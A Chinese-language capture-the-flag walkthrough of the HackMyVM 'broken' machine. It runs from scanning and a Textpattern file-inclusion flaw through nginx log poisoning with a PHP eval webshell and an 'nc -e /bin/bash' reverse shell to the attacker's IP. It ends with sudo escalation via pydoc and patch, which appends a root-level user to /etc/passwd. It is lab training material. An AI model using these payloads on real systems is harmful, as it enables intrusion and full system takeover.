hackmyvm-broken
https://hackmyvm.eu/machines/machine.php?vm=broken
靶机 | 攻击机 | |
---|---|---|
IP | 192.168.101.227 | 192.168.101.183 |
信息收集
arp-scan -l
nmap扫描:
nmap 192.168.101.1/24
进一步扫描:
nmap 192.168.101.227 -sC -sV
发现有/textpattern路径
开源CMS - textpattern
最下面有CMS:
来搜漏洞:
很明显要知道它的版本,怎么知道?--配置文件
除了disearch等爆破方法,这里由于textpattern是开源的CMS,所以可以通过GitHub或官网获知它的配置文件名,这用的是INSTALL.txt
可知是4.8.5
但是上面的版本貌似没有4.8.5的
除了配置文件,还可以尝试获取登录页面的URL,然后暴力破解
用的是rockyou.txt的前100个密码-head -100 /usr/share/wordlists/rockyou.txt
登录后台后可以尝试文件上传、RCE等漏洞,但是这里并不是考点、
竟然忘了dirsearch扫描。。看来信息收集没做好
尝试包含文件:
注:
- file是文件包含中常见的参数名,如果猜不到的话就fuzz一下
- 必须加上../ ,否则不能成功包含
/etc/passwd有什么用?
- 确定文件包含漏洞的存在
- 确定有哪些用户->读取.ssh/id_rsa
Nginx日志文件包含
通过测试,发现可以包含日志文件?file=../../../../var/log/nginx/access.log
然后就可以写日志了
注意!!! 一定要保证符合PHP代码格式,否则会导致:
这时就不得不重新导入了(悲
进行日志包含:
一句话木马:
<?php eval($_REQUEST[1]);?>
一般习惯将shell弹到kali上:
好处:有自动补全等功能
nc -e /bin/bash 192.168.101.183 1234
然后到/home目录,尝试密码为heart切换:发现失败
尝试与用户名相同的密码是经常使用的
sudo提权-pydoc
然后尝试提权:
sudo -l
sudo -u heart /usr/bin/pydoc3.7 import
- 意思是使用用户
heart
的权限执行 Python 3.7 的pydoc
工具,查看 Python 关键字import
的文档。- 为什么必须要加上-u heart?
因为
(heart) NOPASSWD: /usr/bin/pydoc3.7
代表只有heart用户才有pydoc的sudo权限
再次优化shell:
/usr/bin/script -qc /bin/bash /dev/null
sudo提权-patch
在heart用户下进行sudo提权:
用到的是/etc/passwd
openssl passwd 123 # $1$ieR5Iiu9$Rrhqfb1p2wIaBc6qES55x0
star:$1$ieR5Iiu9$Rrhqfb1p2wIaBc6qES55x0:0:0:123:/root:/bin/bash
copy /etc/passwd b
echo 'star:$1$ieR5Iiu9$Rrhqfb1p2wIaBc6qES55x0:0:0:123:/root:/bin/bash'>>b
cat b
diff /etc/passwd b > b.patch
sudo /usr/bin/patch -p0 /etc/passwd b.patch
su star
接着就是拿flag了
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· .NET10 - 预览版1新功能体验(一)